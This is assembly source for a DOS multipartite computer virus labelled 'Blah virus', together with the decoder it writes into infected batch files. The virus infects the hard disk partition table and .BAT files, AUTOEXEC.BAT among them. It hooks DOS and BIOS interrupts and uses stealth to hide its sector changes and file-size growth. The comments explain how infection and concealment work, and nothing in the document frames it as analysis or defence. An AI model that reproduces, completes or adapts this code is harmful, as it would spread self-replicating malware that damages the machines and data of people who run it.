.model tiny .code .radix 16 org 0 our_buffer label byte org 80 line label byte org 100 viruslength = (heap-blah)*2+endcleanup-decoder+((heap-blah+1f)/20)*0f resK = (end_all - our_buffer + 3ff) / 400 resP = resK * 40 sector_length = (heap - blah + 1ff) / 200 blah: xor bp,bp xor si,si cmp [si],20CDh ; check if there is a PSP jz in_com ; to see if we are in COM or ; boot (don't just check SP ; since COM might not load in ; a full segment if memory is ; sparse) inc bp ; hey! we're in the boot sector or the partition table ; assume in partition table for the time being push si cli pop ss mov sp,-2 ; doesn't really matter sti mov ax,200 + sector_length mov es,si mov bx,7c00 + 200 mov cx,2 mov dx,80 int 13 mov dx,0f800 db 0ea dw offset install, 7b0 in_com: mov dx,0f904 mov ah,62 ; get the PSP int 21 ; also tells existing copies ; to disable themselves ; (for NetWare compatability) dec bx ; go to MCB so we can mov ds,bx ; twiddle with it sub word ptr [si+3],resP ; reserve two K of memory sub word ptr [si+12],resP ; in DOS for the virus install: mov cs:init_flag,dl mov byte ptr cs:i13_patch,dh mov ds,si ; reserve two K of memory mov dx,word ptr ds:413 sub dx,resK mov word ptr ds:413,dx ; from the BIOS count mov cl,6 shl dx,cl ; K -> paragraph les ax,ds:84 mov cs:old_i21,ax mov cs:old_i21+2,es les ax,ds:4c mov cs:old_i13,ax mov cs:old_i13+2,es mov es,dx push cs pop ds mov si,offset blah mov di,si mov cx,(offset end_zopy - blah + 1) / 2 rep movsw mov es,cx mov es:4c,offset i13 mov es:4e,dx or bp,bp jz exit_com exit_boot: mov ax,201 ; read the original partition xor cx,cx ; table to 0:7C00 mov dx,80 ; since the i13 handler is in mov es,cx ; place, we can load from where inc cx ; the partition table should mov bx,7c00 ; be, instead of where it pushf push es bx ; actually is jmp dword ptr [bp+4bh] ; int 13 / iret exit_com: mov es:84,offset i21 mov es:86,dx infect_hd: push ax cx dx bx ds es push cs cs pop es ds mov ax,201 mov bx,100 + (sector_length*200) mov cx,1 mov dx,80 call call_i13 ; get original partition table adj_ofs = (100 + (sector_length*200)) cmp word ptr cs:[adj_ofs+decoder-blah],'e@' jz already_infected mov al,ds:[adj_ofs+1C0] cbw or ax,ds:[adj_ofs+1C2] jnz enough_room cmp byte ptr ds:[adj_ofs+1C1],sector_length+1 jbe already_infected ; not enough room for virus enough_room: mov ax,301 + sector_length ; write to disk mov bx,100 ; cx = 1, dx = 80 already call call_i13 already_infected: pop es ds bx dx cx ax ret db 'Blah virus',0 db '(DA/PS)',0 ; I indulged myself in writing the decoder; it's rather much larger than it ; needs to be. This was so I could insert random text strings into the code. ; The decoder creates a file which, when run, will execute the encoded file. ; In this case, we are encoding the virus. See the beginning for a complete ; explanation of how the virus works. decoder db '@echo PSBAT!PS' fsize dw -1 * (heap - blah) db 'XYZUS 2Hج,AêMt t>',0ba,'.com',0Dh,0A db '@echo 2YP󤫸2૾PSDBDA' endline: db '>>',0ba,'.com',0Dh,0A ; The next line is to ease the coding. This way, the same number of statements ; pass between the running of the temporary program and the reloading of the ; batch file for both AUTOEXEC.BAT on bootup and regular batch files. Running ; the temporary file installs the virus into memory. Note the following lines ; are never seen by the command interpreter if the virus is already resident. enddecoder: db '@if %0. == . ',0ba,0Dh,0A db '@',0ba,0Dh,0A db '@del ',0ba,'.com',0Dh,0A ; The next line is necessary because autoexec.bat is loaded with %0 == NULL ; by COMMAND.COM. Without this line, the virus could not infect AUTOEXEC.BAT, ; which would be a shame. db '@if %0. == . autoexec',0Dh,0A db '@%0',0Dh,0A endcleanup: chain_i13: push [bp+6] call dword ptr cs:old_i13 pushf pop [bp+6] ret call_i13: pushf call dword ptr cs:old_i13 ret write: mov ah,40 calli21: pushf call dword ptr cs:old_i21 ret check_signature:and word ptr es:[di+15],0 push es di cs cs pop ds es mov ah,3f cwd ; mov dx,offset our_buffer mov cx,enddecoder - decoder call calli21 cld mov si,offset decoder mov di,dx mov cx,enddecoder - decoder rep cmpsb pop di es ret i13: clc ; this is patched to jnc i13_patch ; disable the i13 handler jmp disabled_i13 ; this is a stupid hiccup i13_patch: clc ; this is patched to once jc multipartite_installed ; i21 is installed push ax bx ds es mov ax,0AA55 ; offset 02FE of the virus ; this is the PT signature xor ax,ax mov es,ax lds bx,es:84 mov ax,ds cmp ax,cs:old_i21+2 jz not_DOS_yet or ax,ax ; Gets set to address in zero jz not_DOS_yet ; segment temporarily. ignore. cmp ax,800 ja not_DOS_yet cmp ax,es:28*4+2 ; make sure int 28 handler jnz not_DOS_yet ; the same (OS == DOS?) cmp bx,cs:old_i21 jz not_DOS_yet install_i21: push cs pop ds mov ds:old_i21,bx mov ds:old_i21+2,ax mov es:84,offset i21 mov es:86,cs inc byte ptr ds:i13_patch not_DOS_yet: pop es ds bx ax multipartite_installed: push bp mov bp,sp cmp cx,sector_length + 1 ; working on virus area? ja jmp_i13 cmp dx,80 jnz jmp_i13 cmp ah,2 ; reading partition table? jz stealth_i13 not_read: cmp ah,3 ; write over partition table? jnz jmp_i13 call infect_hd push si cx bx ax mov al,1 cmp cl,al ; are we working on partition jnz not_write_pt ; table at all? mov cx,sector_length + 1 call chain_i13 jc alt_exit_i13 not_write_pt: pop ax push ax cbw sub al,sector_length + 2 ; calculate number of remaining add al,cl ; sectors to write js alt_exit_i13 jz alt_exit_i13 push cx sub cx,sector_length + 2 ; calculate number of sectors neg cx ; skipped addd: add bh,2 ; and adjust buffer pointer loop addd ; accordingly pop cx or ah,1 ; ah = 1 so rest_stealth makes jmp short rest_stealth ; it a write jmp_i13: pop bp disabled_i13: jmp dword ptr cs:old_i13 stealth_i13: push si cx bx ax call infect_hd mov si,bx mov al,1 cmp cl,al jnz not_read_pt mov cx,sector_length + 1 call chain_i13 jc alt_exit_i13 add bh,2 ; adjust buffer ptr not_read_pt: pop ax push ax push di ax mov di,bx mov ah,0 add al,cl cmp al,sector_length + 2 jb not_reading_more mov al,sector_length + 2 not_reading_more:cmp cl,1 jnz not_pt dec ax not_pt: sub al,cl jz dont_do_it ; resist temptation! mov cl,8 shl ax,cl ; zero out sectors mov cx,ax cbw ; clear ax rep stosw mov bx,di ; adjust buffer dont_do_it: pop ax di mov ah,0 mov cl,9 sub si,bx neg si shr si,cl sub ax,si jz alt_exit_i13 rest_stealth: sub ax,-200 mov cx,sector_length + 2 call chain_i13 alt_exit_i13: pop bx mov al,bl pop bx cx si bp iret i24: mov al,3 iret chain_i21: push [bp+6] ; push flags on stack again call dword ptr cs:old_i21 pushf ; put flags back onto caller's pop [bp+6] ; interrupt stack area ret infect_bat: mov cx,200 ; conquer the holy batch file! move_up: sub bp,cx jns $+6 add cx,bp xor bp,bp mov es:[di+15],bp ; move file pointer mov ah,3f ; read in portion of the file mov dx,offset big_buffer call calli21 add word ptr es:[di+15],viruslength sub word ptr es:[di+15],ax call write ; move the data up or bp,bp jnz move_up move_up_done: mov word ptr es:[di+15],bp ; go to start of file mov cx,enddecoder - decoder mov dx,offset decoder call write push es di cs pop es mov bp,heap - blah mov si,offset blah encode_lines: mov di,offset line mov cx,20 encode_line: lodsb push ax and ax,0F0 inc ax stosb pop ax and ax,0F add al,'A' stosb dec bp jz finished_line loop encode_line finished_line: mov cx,6 mov dx,offset decoder call write mov cx,di mov dx,offset line sub cx,dx call write mov cx,enddecoder-endline mov dx,offset endline call write or bp,bp jnz encode_lines pop di es mov cx,endcleanup - enddecoder mov dx,offset enddecoder call write ret ; check neither extension nor timestamp in case file was renamed or ; something like that ; will hang without this stealth because of the line ; @%0 that it adds to batch files handle_read: push es di si ax cx dx ds bx xor si,si cmp cs:init_flag,0 jnz dont_alter_read mov ax,1220 int 2f jc dont_alter_read xor bx,bx mov bl,es:di mov ax,1216 int 2f ; es:di now -> sft jc dont_alter_read pop bx ; restore the file handle push bx push es:[di+15] ; save current offset call check_signature mov si,viruslength pop bx jz hide_read xor si,si hide_read: add bx,si mov es:[di+15],bx dont_alter_read:pop bx ds dx cx ax call chain_i21 sub es:[di+15],si pop si di es _iret: pop bp iret handle_open: cmp cs:init_flag,0 jz keep_going dec cs:init_flag keep_going: call chain_i21 jc _iret push ax cx dx bp si di ds es xchg si,ax ; filehandle to si mov ax,3524 int 21 push es bx ; save old int 24 handler xchg bx,si ; filehandle back to bx push bx mov si,dx ; ds:si->filename push ds mov ax,2524 ; set new int 24 handler push cs pop ds mov dx,offset i24 call calli21 pop ds cld find_extension: lodsb ; scan filename for extension or al,al ; no extension? jz dont_alter_open cmp al,'.' ; extension? jnz find_extension lodsw ; check if it's .bat or ax,2020 cmp ax,'ab' jnz dont_alter_open lodsb or al,20 cmp al,'t' jnz dont_alter_open mov ax,1220 ; if so, get jft entry int 2f jc dont_alter_open xor bx,bx mov bl,es:di mov ax,1216 ; now get SFT int 2f jc dont_alter_open pop bx ; recover file handle push bx mov bp,word ptr es:[di+11] ; save file size or bp,bp jz dont_alter_open mov byte ptr es:[di+2],2 ; change open mode to r/w mov ax,word ptr es:[di+0dh] ; get file time and ax,not 1f ; set the seconds field or ax,1f mov word ptr es:[di+0dh],ax call check_signature jz dont_alter1open ; infected already! call infect_bat dont_alter1open:or byte ptr es:[di+6],40 ; set flag to set the time and word ptr es:[di+15],0 mov byte ptr es:[di+2],0 ; restore file open mode dont_alter_open:pop bx dx ds mov ax,2524 call calli21 pop es ds di si bp dx cx ax bp iret findfirstnext: call chain_i21 ; standard file length push ax bx si ds es ; hiding cmp al,-1 jz dont_alter_fffn mov ah,2f ; get the DTA to es:bx int 21 push es pop ds cmp byte ptr [bx],-1 jnz not_extended add bx,7 ; won't hide if extension is changed, but otherwise gives it away by disk ; accesses not_extended: cmp word ptr [bx+9],'AB' jnz dont_alter_fffn cmp byte ptr [bx+0bh],'T' jnz dont_alter_fffn cmp word ptr [bx+1dh],viruslength jb dont_alter_fffn mov al,[bx+17] and al,1f cmp al,1f jnz dont_alter_fffn and byte ptr [bx+17],not 1f sub word ptr [bx+1dh],viruslength dont_alter_fffn:pop es ds si bx ax bp iret inst_check: cmp bx,0f904 jnz jmp_i21 push si di cx mov si,offset blah mov di,100 mov cx,offset i13 - offset blah db 2e rep cmpsb jnz not_inst inc byte ptr cs:i13 ; disable existing copy of inc byte ptr cs:i21 ; the virus not_inst: pop si di cx jmp short jmp_i21 i21: clc jc disabled_i21 push bp mov bp,sp cmp ah,11 jz findfirstnext cmp ah,12 jz findfirstnext cmp ah,62 jz inst_check cmp ax,3d00 jnz not_open jmp handle_open not_open: cmp ah,3f jnz jmp_i21 jmp handle_read jmp_i21: pop bp disabled_i21: db 0ea ; call original int 21 heap: ; g old_i21 dw ?, ? ; handler old_i13 dw ?, ? init_flag db ? end_zopy: org 100 + ((end_zopy - blah + 1ff) / 200) * 200 orig_PT db 200 dup (?) big_buffer db 200 dup (?) end_all: end blah ; The complimentary decoder included with every copy of blah .model tiny .code .radix 16 org 100 decode: db 'PSBAT!' ; translates to some random code mov di,offset buffer db 0bdh ; mov bp, datasize datasize dw 'Y0' db 'XYZ' ; more text that is also code neg bp push bp mov si,offset databytes keep_going: mov cx,2020 xor ch,cl decode_line: lodsb dec ax ; tens digit mov bx,ax lodsb sub al,'A' add ax,bx stosb dec bp jz all_done loop decode_line all_done: or bp,bp jz no_more lodsw ; skip CRLF jmp keep_going db 0Dh,0A ; split file into two lines no_more: mov ax,0fcfc xor ah,al pop cx ; how many bytes to move push ax xchg ax,di mov ax,0a4f3 stosw mov ax,0ebebh ; flush prefetch queue xor ah,al stosw mov si,offset buffer mov di,100 + 4144 sub di,'AD' retn db 0Dh,0Ah ; split the file s'more databytes: org 5350 ; 50/53 == P/S buffer: end decode